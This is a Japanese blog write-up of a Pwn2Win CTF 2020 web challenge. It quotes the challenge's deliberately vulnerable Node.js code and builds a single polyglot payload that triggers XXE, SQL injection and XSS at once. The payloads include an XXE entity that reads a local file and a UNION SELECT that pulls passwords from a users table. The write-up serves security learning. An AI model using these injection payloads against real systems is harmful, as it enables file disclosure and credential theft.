kuzushikiのぺーじ

セキュリティに関することを書きたいですね

GitHub Twitter

Pwn2Win CTF 2020 write up

Pwn2Win CTF 2020に参加しました!

(team: score_gazer)

自分は223点を入れ、順位は90位 / 401チーム(0点は除く)でした。

キャプチャ

今回は1問(Welcome問を除く)しか解けなかったのですが,せっかくなのでwriteupを書きます。

Web

A Payload to rule them all (Web), 223 pts, 65 solves)

Pwn m3 s3np41!
http://payload.pwn2.win

どうやら、XXE, SQLi, XSSを1つのペイロードで起こせという問題らしいです。

Sourceのリンクをクリックすると、以下のソースが得られます。

/usr/src/app/index.js :

const express = require("express")
const app = express()
const bodyParser = require("body-parser")
const port = 31337
const { execFile } = require("child_process")
const fs = require("fs")
const rateLimit = require("express-rate-limit");

app.use(express.static("static"))
app.use(bodyParser.urlencoded({extended:true}))

const limiter = rateLimit({
  windowMs: 10 * 60 * 1000, // 15 minutes
  max: 50 // limit each IP to 100 requests per windowMs
});

app.use('/',limiter);

app.post('/', (req,res) => {
	const test_payload = execFile("/usr/sbin/gosu",["gnx","/home/gnx/script/test_payload.js",req.body.payload], ( error, stdout, stderr ) => {
	if ( stdout.toString().trim() === "parabens hackudo" ) {
			res.send(process.env.FLAG)
		} else {
			res.send("nope")
		}
	});
	console.log(req.body.payload)

})


app.get('/source', (req,res) => {
	var out = "/usr/src/app/index.js :\n\n" + fs.readFileSync("/usr/src/app/index.js").toString() + "\n\n"
	out += "/home/gnx/script/test_payload.js :\n\n" + fs.readFileSync("/home/gnx/script/test_payload.js") + "\n\n"
	res.send(out)
})

app.listen(port,'0.0.0.0', () => console.log(`Chall rodando em http://localhost:${port}`))


/home/gnx/script/test_payload.js :

#!/usr/bin/env node

const puppeteer = require('puppeteer')
const mysql = require("mysql")
const util = require('util')
const libxml = require("libxmljs")
const fs = require("fs")
const sanitizeHtml = require("sanitize-html")



function test_xxe(payload) {

	try {
		var my_secret = Math.random().toString(36).substring(2) ;
		fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret)
		var doc = libxml.parseXml(payload, { noent: true ,nonet: true })
		return doc.toString().includes(my_secret) 
		
	} catch (e) {
		return false
	}
} 

async function test_xss(payload) {
	try {
		const browser = await puppeteer.launch({args:['--no-sandbox', '--disable-setuid-sandbox','--disable-dev-shm-usage','--disable-accelerated-2d-canvas','--no-first-run','--no-zygote','--single-process','--disable-gpu']})
		const page = await browser.newPage()
		page.setDefaultNavigationTimeout(1000);
		payload = sanitizeHtml(payload,{allowedTags:[]})
		await page.goto(`data:text/html,<script>${payload}</script>`)
		const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") // vlw herrera

		await browser.close()
		
		return check

	} catch (error) {
		console.error(error)
	}

}

async function test_sqli(payload) {

	var connection = mysql.createConnection({
		host : process.env.MYSQL_HOST || "127.0.0.1",
		user : process.env.MYSQL_USER,
		password : process.env.MYSQL_PASSWORD,
		database : process.env.MYSQL_DATABASE,
		charset: 'utf8',
    dialectOptions: {
			collate: 'utf8_general_ci',
    },
	})


	const query = util.promisify(connection.query).bind(connection)


	connection.connect()

	const users = await query("SELECT * from users") 
	try {
		const sqli = await query(`SELECT * from posts where id='${payload}'`)
		await connection.end() 
		return JSON.stringify(sqli).includes(users[0]["password"])	
	} catch(e) {
		return false
	}
}

function main(args){

	var xss = test_xss(args[0])
	var sqli = test_sqli(args[0])
	var xxe = test_xxe(args[0])

  Promise.all([xss,sqli]).then( function( values ){
                if ( values[0] && values[1] && xxe ) {
                        console.log("parabens hackudo")
                } else {
                        console.log("hack harder")
                }

                process.exit(0)
        })
	
}

main(process.argv.slice(2))

XXE, SQLi, XSSの箇所について詳しく見ていきます。

  1. XXE
function test_xxe(payload) {

	try {
		var my_secret = Math.random().toString(36).substring(2) ;
		fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret)
		var doc = libxml.parseXml(payload, { noent: true ,nonet: true })
		return doc.toString().includes(my_secret) 
		
	} catch (e) {
		return false
	}
} 

/home/gnx/script/xxe_secretを読み出せば良さそうです。

以下のようなペイロードが考えられます。

<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret">]><r>&h;</r>
  1. SQLi
    dialectOptions: {
			collate: 'utf8_general_ci',
    },
	})


	const query = util.promisify(connection.query).bind(connection)


	connection.connect()

	const users = await query("SELECT * from users") 
	try {
		const sqli = await query(`SELECT * from posts where id='${payload}'`)
		await connection.end() 
		return JSON.stringify(sqli).includes(users[0]["password"])	
	} catch(e) {
		return false
	}

クエリはSELECT * from posts where id='${payload}'です。

usersテーブルのpasswordを読み出せば良さそうです。

postsテーブルの構造が分かりませんが,以下のようなペイロードが考えられます。

' UNION SELECT password from users;-- 
  1. XSS
async function test_xss(payload) {
	try {
		const browser = await puppeteer.launch({args:['--no-sandbox', '--disable-setuid-sandbox','--disable-dev-shm-usage','--disable-accelerated-2d-canvas','--no-first-run','--no-zygote','--single-process','--disable-gpu']})
		const page = await browser.newPage()
		page.setDefaultNavigationTimeout(1000);
		payload = sanitizeHtml(payload,{allowedTags:[]}) 
		await page.goto(`data:text/html,<script>${payload}</script>`)
		const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") // vlw herrera

		await browser.close()
		
		return check

	} catch (error) {
		console.error(error)
	}

}

sanitizeHtmlでサニタイズされるのが気になりますが,ひとまずxssを定義すれば良さそうです。

以下のようなペイロードが考えられます。

var xss = 1

さて,後はこれらのペイロードを組み合わせましょう。

XXE, XSSのペイロードに'が含まれないので,SQLiは最後にくっつければ良さそうです。

XXE, XSSを組み合わせるにはどうすれば良いでしょうか?

両方とも手元で実装し,試しました。

すると,XSSの判定をする際に,sanitizeHtml<から>までが削除されていることが分かりました。

XXEのペイロードは以下のように解釈されます。

<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret">]><r>&h;</r>
]>&h;

これでは先頭の]が邪魔でXSSができません。

XMLの形式を壊さずにもっと前に>を入れられないでしょうか?

色々試した結果,以下のようにエンティティを追加することで,>を入れることができました。

<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY xss ">">]><r>&h;</r>

あとは先ほどのXSSのペイロードと組み合わせれば良いです。

<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY xss ">var xss = 1//">]><r>&h;</r>

最後にSQLiのペイロードをくっつけましょう。

<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY xss ">var xss = 1//">]><r>&h;</r><!--' UNION SELECT password FROM users;# -->

SQLiのペイロードをXML形式でコメントアウトすればOKです。

その場合,SQLのコメントアウトに--が使えないので,代わりに#を使いました。

後はカラム数を合わせるために,nullなどをつけて調整します。

最終的に,以下のようなペイロードが完成しました。

<!DOCTYPE hoge [<!ENTITY h SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY xss ">var xss = 1//">]><r>&h;</r><!--' UNION SELECT password,null,null FROM users;# -->

このペイロードを入力すると,フラグが得られました!!!

CTF-BR{p4yl04d_p0lygl0ts_4r3_m0r3_fun_th4n_f1l3typ3s}